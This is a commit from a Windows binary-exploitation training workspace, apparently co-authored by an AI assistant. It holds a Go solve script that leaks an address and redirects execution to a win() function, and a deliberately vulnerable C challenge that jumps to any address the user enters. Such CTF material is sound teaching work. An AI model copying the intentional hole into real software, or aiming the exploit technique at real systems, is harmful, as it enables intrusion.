restructure workspace into numbered pwn progression

Rename task dirs to 01_info_leak through 07_heap_aslr following a
standard learning order (info leak → ROP → fmtstr → heap overflow →
UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos,
heap_segment, and template directories. Strip debug symbols from all
compiled challenge binaries and remove all .exe files from the tree.
Strip all explanatory comments from solve scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
2026-08-06 22:21:32 +03:00
co-authored by Claude Sonnet 4.6
parent 3b7d01c748
commit c9aafc512b
76 changed files with 313 additions and 1832 deletions
+1
View File
@@ -0,0 +1 @@
flag{FLAG}
+38
View File
@@ -0,0 +1,38 @@
package main
import (
"bytes"
"fmt"
"log"
"strconv"
"winpwn"
)
func main() {
tube, err := winpwn.Spawn("./task1.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
log.Fatalf("RecvUntil: %v", err)
}
addrBytes, err := tube.RecvUntil([]byte("\n"))
if err != nil {
log.Fatalf("RecvUntil: %v", err)
}
mainAddr, err := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)
if err != nil {
log.Fatalf("parse addr: %v", err)
}
fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr)
winAddr := mainAddr - 267
fmt.Printf("[+] win: 0x%X\n", winAddr)
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(fmt.Sprintf("%x", winAddr))); err != nil {
log.Fatalf("SendLineAfter: %v", err)
}
tube.Interactive()
}
+65
View File
@@ -0,0 +1,65 @@
/*
В Windows нет прямого аналога POSIX-сигналов, signal(SIGSEGV)
заменяется на SetUnhandledExceptionFilter (обработка SEH).
Cтандартный пакет strconv для парсинга hex-строк, так как Go
требует явной конвертации типов вместо магических методов Python.
*/
// 0x00007FF76AB1154C(win) - 0x00007FF76AB11657(main)
// rmb -> search for -> current module -> string references
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
LONG WINAPI ExceptionFilter(EXCEPTION_POINTERS *ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode ==
EXCEPTION_ACCESS_VIOLATION) {
printf("Segfault Occurred, incorrect address.\n");
ExitProcess(0);
}
return EXCEPTION_CONTINUE_SEARCH;
}
void win() {
HANDLE hFile;
char buffer[256];
DWORD bytesRead;
printf("You won!\n");
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Cannot open file.\n");
ExitProcess(0);
}
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) &&
bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer);
}
printf("\n");
CloseHandle(hFile);
}
int main() {
SetUnhandledExceptionFilter(ExceptionFilter);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Address of main: %p\n", &main);
unsigned long long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%llx", &val);
printf("Your input: %llx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
return 0;
}